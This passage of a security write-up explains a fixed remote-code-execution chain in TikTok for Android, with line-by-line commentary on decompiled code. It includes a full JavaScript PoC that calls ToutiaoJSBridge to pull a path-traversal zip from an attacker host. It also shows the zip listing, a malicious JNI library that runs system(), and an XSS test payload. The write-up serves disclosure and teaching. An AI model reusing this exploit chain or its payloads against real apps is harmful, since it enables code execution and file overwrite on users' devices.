private final void updateJssdk(Context arg5, Uri arg6, TmaTestCallback arg7) { String v0 = arg6.getQueryParameter("sdkUpdateVersion"); String v1 = arg6.getQueryParameter("sdkVersion"); String v6 = arg6.getQueryParameter("latestSDKUrl"); SharedPreferences.Editor v2 = BaseBundleDAO.getJsSdkSP(arg5).edit(); v2.putString("sdk_update_version", v0).apply(); v2.putString("sdk_version", v1).apply(); v2.putString("latest_sdk_url", v6).apply(); DownloadBaseBundleHandler v6_1 = new DownloadBaseBundleHandler(); BundleHandlerParam v0_1 = new BundleHandlerParam(); v6_1.setInitialParam(arg5, v0_1); ResolveDownloadHandler v5 = new ResolveDownloadHandler(); v6_1.setNextHandler(((BaseBundleHandler)v5)); SetCurrentProcessBundleVersionHandler v6_2 = new SetCurrentProcessBundleVersionHandler(); v5.setNextHandler(((BaseBundleHandler)v6_2));}
Line by line: the method takes a context (the app environment), the URI, and a callback. It reads three parameters from the URI: sdkUpdateVersion, sdkVersion and latestSDKUrl. It then opens SharedPreferences, Android's small key-value store for settings, and saves those three values under the keys sdk_update_version, sdk_version and latest_sdk_url. apply() writes them asynchronously. Next it builds a chain of handlers, each an object that does one step of the update: DownloadBaseBundleHandler downloads the zip, ResolveDownloadHandler unpacks it, and SetCurrentProcessBundleVersionHandler records the new version. setNextHandler links each handler to the next, like stations on an assembly line. The attacker controls the URL that will be downloaded, because latestSDKUrl comes straight from the URI.
DownloadBaseBundleHandler compares sdkUpdateVersion with the current version and skips the download if the current one is not older. Setting the value to 99.99.99 avoids that check and starts the download:
public BundleHandlerParam handle(Context arg14, BundleHandlerParam arg15) { ..... String v0 = BaseBundleManager.getInst().getSdkCurrentVersionStr(arg14); String v8 = BaseBundleDAO.getJsSdkSP(arg14).getString("sdk_update_version", ""); ..... if(AppbrandUtil.convertVersionStrToCode(v0) >= AppbrandUtil.convertVersionStrToCode(v8) && (BaseBundleManager.getInst().isRealBaseBundleReadyNow())) { InnerEventHelper.mpLibResult("mp_lib_validation_result", v0, v8, "no_update", "", -1L); v10.appendLog("no need update remote basebundle version"); arg15.isIgnoreTask = true; return arg15; } ..... this.startDownload(v9, v10, arg15, v0, v8); .....
Line by line: v0 is the version currently installed, read from the bundle manager. v8 is the version the attacker asked for, read back from SharedPreferences. The if compares them after converting each version string to a number (convertVersionStrToCode), and also checks that the base bundle is ready. If the installed version is greater than or equal to the requested one, the code logs no need update remote basebundle version, marks the task as ignored, and returns without downloading. Otherwise it calls this.startDownload(...). By asking for 99.99.99, the attacker makes the requested version larger than any real one, so the comparison fails and the download proceeds.
In startDownload, the download path and the expected checksum are set:
v2.a = StorageUtil.getExternalCacheDir(AppbrandContext.getInst().getApplicationContext()).getPath();v2.b = this.getMd5FromUrl(arg16);
Line by line: v2.a is the folder where the file will be saved. StorageUtil.getExternalCacheDir(...) returns the app's cache folder on external storage, and .getPath() turns it into a string. The argument to getExternalCacheDir is the application context obtained from AppbrandContext.getInst().getApplicationContext(), which means the code needs AppbrandContext to have an instance already created. v2.b is the expected MD5 checksum, obtained from the URL by getMd5FromUrl.
The application did not initialise this instance all the time. The researcher's extended study of the application workflow paid off here: invoking the preloadMiniApp function through ToutiaoJSBridge was able to initialise the instance. Digging into every bridge function, even ones that did not look useful at first, turned out to matter. This is a good lesson: a function that looks unrelated can be the missing precondition for another bug.
v2.b is the MD5 of the downloaded file, taken from the filename itself:
private String getMd5FromUrl(String arg3) { return arg3.substring(arg3.lastIndexOf("_") + 1, arg3.lastIndexOf("."));}
Line by line: arg3.lastIndexOf("_") finds the position of the last underscore in the URL. + 1 moves one character past it. arg3.lastIndexOf(".") finds the position of the last dot. substring(...) returns the text between those two positions. So if the URL ends in ..._abc123.zip, the method returns abc123. The filename must therefore look like anything_{md5sum_of_file}.zip, because the checksum is compared with the file's MD5 after the download:
public void onDownloadSuccess(ad arg11) { super.onDownloadSuccess(arg11); File v11 = new File(this.val$tmaFileRequest.a, this.val$tmaFileRequest.b); long v6 = this.val$beginDownloadTime.getMillisAfterStart(); if(!v11.exists()) { this.val$baseBundleEvent.appendLog("remote basebundle download fail"); this.val$param.isLastTaskSuccess = false; this.val$baseBundleEvent.appendLog("remote basebundle not exist"); InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "fail", "md5_fail", v6); } else if(this.val$tmaFileRequest.b.equals(CharacterUtils.md5Hex(v11))) { this.val$baseBundleEvent.appendLog("remote basebundle download success, md5 verify success"); this.val$param.isLastTaskSuccess = true; this.val$param.targetZipFile = v11; InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "success", "", v6); } else { this.val$baseBundleEvent.appendLog("remote basebundle md5 not equals"); InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "fail", "md5_fail", v6); this.val$param.isLastTaskSuccess = false; }
Line by line: super.onDownloadSuccess(arg11) runs the parent class's version of the callback first. File v11 = new File(this.val$tmaFileRequest.a, this.val$tmaFileRequest.b) builds the path of the downloaded file from the folder (a) and the filename (b). v6 records how long the download took. The first branch, if(!v11.exists()), handles the case where the file is missing: it logs a failure and marks the task unsuccessful. The second branch, else if(this.val$tmaFileRequest.b.equals(CharacterUtils.md5Hex(v11))), computes the MD5 of the downloaded file and compares it with the expected value from the filename. If they match, it logs success, marks the task successful, and stores the file in targetZipFile for the next handler. The final else handles a mismatch: it logs remote basebundle md5 not equals and marks the task unsuccessful. The attacker must therefore name the zip so that the part between the last _ and the last . is the real MD5 of the file, otherwise the download is rejected.
After the download finishes, the file is passed to ResolveDownloadHandler, which unzips it:
public BundleHandlerParam handle(Context arg13, BundleHandlerParam arg14) { BaseBundleEvent v0 = arg14.baseBundleEvent; if((arg14.isLastTaskSuccess) && arg14.targetZipFile != null && (arg14.targetZipFile.exists())) { arg14.bundleVersion = BaseBundleFileManager.unZipFileToBundle(arg13, arg14.targetZipFile, "download_bundle", false, v0);public static long unZipFileToBundle(Context arg8, File arg9, String arg10, boolean arg11, BaseBundleEvent arg12) { long v10; boolean v4; Class v0 = BaseBundleFileManager.class; synchronized(v0) { boolean v1 = arg9.exists(); } if(!v1) { return 0L; } try { File v1_1 = BaseBundleFileManager.getBundleFolderFile(arg8, arg10); arg12.appendLog("start unzip" + arg10); BaseBundleFileManager.tryUnzipBaseBundle(arg12, arg10, v1_1.getAbsolutePath(), arg9);private static void tryUnzipBaseBundle(BaseBundleEvent arg2, String arg3, String arg4, File arg5) { try { arg2.appendLog("unzip" + arg3); IOUtils.unZipFolder(arg5.getAbsolutePath(), arg4); } ......}public static void unZipFolder(String arg1, String arg2) throws Exception { IOUtils.a(new FileInputStream(arg1), arg2, false);}private static void a(InputStream arg5, String arg6, boolean arg7) throws Exception { ZipInputStream v0 = new ZipInputStream(arg5); while(true) { label_2: ZipEntry v5 = v0.getNextEntry(); if(v5 == null) { break; } String v1 = v5.getName(); if((arg7) && !TextUtils.isEmpty(v1) && (v1.contains("../"))) { // Are you notice arg7? goto label_2; } if(v5.isDirectory()) { new File(arg6 + File.separator + v1.substring(0, v1.length() - 1)).mkdirs(); goto label_2; } File v5_1 = new File(arg6 + File.separator + v1); if(!v5_1.getParentFile().exists()) { v5_1.getParentFile().mkdirs(); } v5_1.createNewFile(); FileOutputStream v1_1 = new FileOutputStream(v5_1); byte[] v5_2 = new byte[0x400]; while(true) { int v3 = v0.read(v5_2); if(v3 == -1) { break; } v1_1.write(v5_2, 0, v3); v1_1.flush(); } v1_1.close(); } v0.close();}
Line by line, in pieces. handle first checks that the previous step succeeded, that a target zip exists, and that the file is really there. If so, it calls unZipFileToBundle(arg13, arg14.targetZipFile, "download_bundle", false, v0). The fourth argument is false, and that matters in a moment. unZipFileToBundle checks the file exists, gets the destination folder with getBundleFolderFile, logs start unzip, and calls tryUnzipBaseBundle. That method logs unzip and calls IOUtils.unZipFolder with the zip path and the destination folder. unZipFolder opens the zip as a stream and calls IOUtils.a(new FileInputStream(arg1), arg2, false), again passing false. In a, a ZipInputStream reads the archive entry by entry. For each entry, v5.getName() gets the entry's name. The check if((arg7) && !TextUtils.isEmpty(v1) && (v1.contains("../"))) is the path traversal guard: if arg7 is true, the name is not empty, and the name contains ../, the entry is skipped (goto label_2 jumps back to the top of the loop). But arg7 is the false passed down the chain, so the guard never runs. The rest of the loop creates the file at arg6 + File.separator + v1, which is the destination folder plus the entry name, and writes the entry's bytes into it. Because the name can contain ../, the file can be written outside the destination folder.
The final unzip method does contain a path traversal check, but it only runs when arg7 is true. The call chain passes false, so the check never happens and Zip Slip is possible, allowing files to be overwritten. The attacker controls the entry names inside the zip, so the attacker controls which files get overwritten.
The fifth step: RCE
The researcher built a zip whose entry name traverses out of the extraction directory to overwrite /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/[redacted]/arm64-v8a/libjsc.so. That path is inside the app's private data folder, which is normally off limits to other apps. Listing the archive shows the entry:
dphoeniixx@MacBook-Pro Tiktok % 7z l [redacted].zip7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21p7zip Version 16.02 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,16 CPUs x64)Scanning the drive for archives:1 file, 1930 bytes (2 KiB)Listing archive: [redacted].zip--Path = [redacted].zipType = zipPhysical Size = 1930 Date Time Attr Size Compressed Name------------------- ----- ------------ ------------ ------------------------2020-11-26 04:08:29 ..... 5896 1496 ../../../../../../../../../data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/[redacted]/arm64-v8a/libjsc.so------------------- ----- ------------ ------------ ------------------------2020-11-26 04:08:29 5896 1496 1 files
Line by line: the first line is the shell prompt on the researcher's Mac, showing the folder Tiktok and the command 7z l [redacted].zip. 7z is the 7-Zip archiver, l means list the contents, and the argument is the zip file. The next lines are 7-Zip's banner and version information. Scanning the drive for archives and 1 file, 1930 bytes (2 KiB) say the archive is 1930 bytes. Listing archive: repeats the filename. Path = ... and Type = zip describe the archive. Physical Size = 1930 is its size on disk. The table has columns Date, Time, Attr, Size, Compressed and Name. The single row shows the entry was created on 2020-11-26, is 5896 bytes uncompressed and 1496 bytes compressed, and its name is ../../../../../../../../../data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/[redacted]/arm64-v8a/libjsc.so. The leading ../ sequences climb out of the extraction folder, and the rest of the path points at the app's private library file. The final line repeats the totals: one file.
Overwriting a native library with a malicious one executes the attacker's code, but not until the user relaunches the application. The researcher found a way to reload the library without a relaunch by launching the com.tt.miniapphost.placeholder.MiniappTabActivity0 activity.
The final PoC:
document.title = "Loading..";document.write("<h1>Loading..</h1>");if (document && window.name != "finished") { // the XSS will be fired multiple time before loading the page and after. this condition to make sure that the payload won't fire multiple time. window.name = "finished"; window.ToutiaoJSBridge.invokeMethod(JSON.stringify({ "__callback_id": "0", "func": "preloadMiniApp", "__msg_type": "callback", "params": { "mini_app_url": "https://microapp/" }, "JSSDK": "1", "namespace": "host", "__iframe_url": "http://d.c/" })); // initialize Mini App window.ToutiaoJSBridge.invokeMethod(JSON.stringify({ "__callback_id": "0", "func": "openSchema", "__msg_type": "callback", "params": { "schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%2F%2Fwww.google.com.eg%2F%3Faction%3DsdkUpdate%26latestSDKUrl%3Dhttp%3A%2F%2F{ATTACKER_HOST}%[redacted].zip%26sdkUpdateVersion%3D1.87.1.11%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapp.tmatest.TmaTestActivity%3Bpackage%3Dcom.zhiliaoapp.musically%3Baction%3Dandroid.intent.action.VIEW%3Bend%22)%3B%0A&noRedirect=false&title=First%20Stage&disable_app_link=false" }, "JSSDK": "1", "namespace": "host", "__iframe_url": "http://iframe.attacker.com/" })); // Download malicious zip file that will overwite /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/[redacted]/arm64-v8a/libjsc.so setTimeout(function() { window.ToutiaoJSBridge.invokeMethod(JSON.stringify({ "__callback_id": "0", "func": "openSchema", "__msg_type": "callback", "params": { "schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapphost.placeholder.MiniappTabActivity0%3Bpackage%3Dcom.zhiliaoapp.musically%3BS.miniapp_url%3Dhttps%3Bend%22)%3B%0A&noRedirect=false&title=Second%20Stage&disable_app_link=false" }, "JSSDK": "1", "namespace": "host", "__iframe_url": "http://iframe.attacker.com/" })); // load the malicious library after overwrtting it. }, 5000);}
Line by line: document.title = "Loading.." and document.write("<h1>Loading..</h1>") put a loading message on the page, so the victim sees something harmless while the stages run. if (document && window.name != "finished") is a guard. window.name is a value that survives navigation within the same tab, and the comment explains that the XSS fires multiple times before and after the page loads; the guard makes sure the payload runs only once. window.name = "finished" sets the marker. The first bridge call uses func: "preloadMiniApp" with mini_app_url: "https://microapp/"; this initialises the Mini App instance that the download path needs. The second bridge call uses func: "openSchema" with a schema whose url is a javascript: URL. Decoding the percent-encoding: %22 is ", %3A is :, %2F is /, %3F is ?, %26 is &, %23 is #, %3B is ;, %0A is a newline. So the URL becomes javascript:location.replace("intent://www.google.com.eg/?action=sdkUpdate&latestSDKUrl=http://{ATTACKER_HOST}/[redacted].zip&sdkUpdateVersion=[redacted]#Intent;scheme=https;component=com.zhiliaoapp.musically/com.tt.miniapp.tmatest.TmaTestActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end");. That is an intent to TmaTestActivity carrying action=sdkUpdate, latestSDKUrl pointing at the attacker-hosted zip, and sdkUpdateVersion=[redacted]. The &noRedirect=false&title=First%20Stage&disable_app_link=false part is appended to the wiki URL. setTimeout(function() { ... }, 5000) waits 5 seconds, giving the download time to finish, then the third bridge call opens another javascript: URL that replaces the location with an intent to com.tt.miniapphost.placeholder.MiniappTabActivity0, which loads the overwritten library.
The malicious library:
#include <jni.h>#include <string>#include <stdlib.h>JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) { system("id > /data/data/com.zhiliaoapp.musically/PoC"); return JNI_VERSION_1_6;}
Line by line: #include <jni.h> brings in the header that defines the Java Native Interface, the bridge between Java code and native code. #include <string> and #include <stdlib.h> bring in standard C headers; stdlib.h is where system is declared. JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) declares the special function that Android calls automatically when the library is loaded; it returns an integer version number. Inside, system("id > /data/data/com.zhiliaoapp.musically/PoC") runs the shell command id, which prints the current user, and redirects its output into a file called PoC in the app's data folder. return JNI_VERSION_1_6; tells Android which JNI version the library expects. The result is that, as soon as the library is loaded, the app runs the attacker's command in its own context, which is code execution.
Why it all worked
Several independent mistakes combine into the chain:
- The performance-measuring code concatenates
webviewURLinto a JavaScript string that is passed toevaluateJavascriptwithout escaping. Encoding in the query string happens to neutralise the first attempt, but the fragment is not encoded, so the string can be broken out of. AddWikiActivityvalidates onlyhttpandhttpsURLs, so ajavascript:URL passes validation and runs in the WebView.- The
intentscheme is blocked in the main WebView unless the user has just clicked, butAddWikiActivityallows it wheneverdisable_app_link=false, so arbitrary components can be started with arbitrary extras. TmaTestActivitydownloads a zip from a URL supplied in an intent extra and extracts it with a path traversal check that is disabled by thefalseargument passed down the call chain, allowing arbitrary file overwrite.- The overwritten file is a native library, and a placeholder activity reloads it without requiring an app relaunch.
What it means for users
An attacker who can get a victim to open a crafted link, or to receive it through Inbox Messages, can achieve remote code execution in the TikTok for Android app. The XSS is universal because any link containing m.tiktok.com/falcon/ triggers it, so the attacker does not need to control the m.tiktok.com host. The chain reaches non-exported activities and overwrites files in the app's private data directory. The native library payload only executes after the library is reloaded, which the final stage does through MiniappTabActivity0; without that step the user would have to relaunch the application.
The fix
TikTok Security implemented a fix and the researcher retested to confirm the resolution. The actions taken:
- The vulnerable XSS code has been deleted.
TmaTestActivityhas been deleted.- Restrictions were added to the
intentscheme so that an intent targeting the TikTok application is not allowed onAddWikiActivityand the mainWebViewActivity.
What to look for in other apps
These are the same checks, phrased as things to try:
- Look for WebView code that concatenates a URL into
evaluateJavascriptor similar evaluation calls. A positive result is a fragment payload such as#'),alert(1));//appearing unencoded in the evaluated string when hooked with Frida. - Check URL allowlists that only test
startsWith("http")orstartsWith("https"). A positive result is ajavascript:URL reaching the WebView and executing. - Test whether the
intentscheme is reachable from any WebView, and whether any click-timing guard can be bypassed or avoided through a second WebView. A positive result is a non-exported activity opening from a page. - Look for activities that download and extract archives from intent-supplied URLs. A positive result is a zip entry containing
../being written outside the extraction directory. - Check whether native libraries loaded by the app can be overwritten in the app's data directory, and whether any activity reloads them without a relaunch. A positive result is attacker code running after the reload activity is started.
Glossary
- Activity: one screen of an Android app, identified by a long name such as
com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity. - adb (Android Debug Bridge): a command-line tool that lets a computer send commands to an Android phone or emulator.
- APK: the file format of an installed Android app; the package containing its code and resources.
- Bridge (JavaScript bridge): a set of named functions a WebView exposes to web pages so they can ask the app to do things.
- Checksum: a short fingerprint computed from a file's contents, used to check the file arrived intact; MD5 is one kind.
- Deep-link: a web address that opens a specific place inside an app rather than a web page.
- Extras: the data fields attached to an Android intent, like the fields of a form.
- Fragment: the part of a URL after
#; it is not sent to the server and is not encoded the same way as the query string. - Frida: a tool that lets a researcher watch and change what a running app does.
- Intent: an Android message asking the system to do something, usually to open a screen with some data.
- Intent scheme: a URL scheme starting with
intent:that lets a web page build an Android intent. - JavaScript: the programming language that web pages run in the browser or WebView.
- JNI (Java Native Interface): the bridge that lets Java code call native (compiled) code and vice versa.
- MD5: a checksum algorithm that produces a short fingerprint of a file's contents.
- Native library: compiled machine code stored in a
.sofile that an Android app loads and runs. - Non-exported activity: an activity that only the app itself may open, not other apps.
- Percent-encoding: how URLs carry characters that would otherwise be special, by writing them as
%followed by two hex digits. - Query string: the part of a URL after
?, carrying parameters asname=valuepairs separated by&. - RCE (remote code execution): making a program run code of your choosing from a distance.
- SDK: a bundle of code that an app uses; updating it means replacing that bundle with a newer one.
- SharedPreferences: Android's small key-value store for app settings.
- Split package: an extra piece of an Android app downloaded after first launch rather than shipped in the APK.
- Universal XSS: XSS that can be triggered from any website because the vulnerable code only checks that the address contains a certain piece of text.
- WebView: a small web browser embedded inside another app so the app can show web pages without leaving.
- XSS (cross-site scripting): getting your own JavaScript to run inside a page or WebView you are not supposed to control.
- Zip Slip: a flaw where an archive entry named with
../is written outside the folder where the archive was supposed to be unpacked, overwriting other files.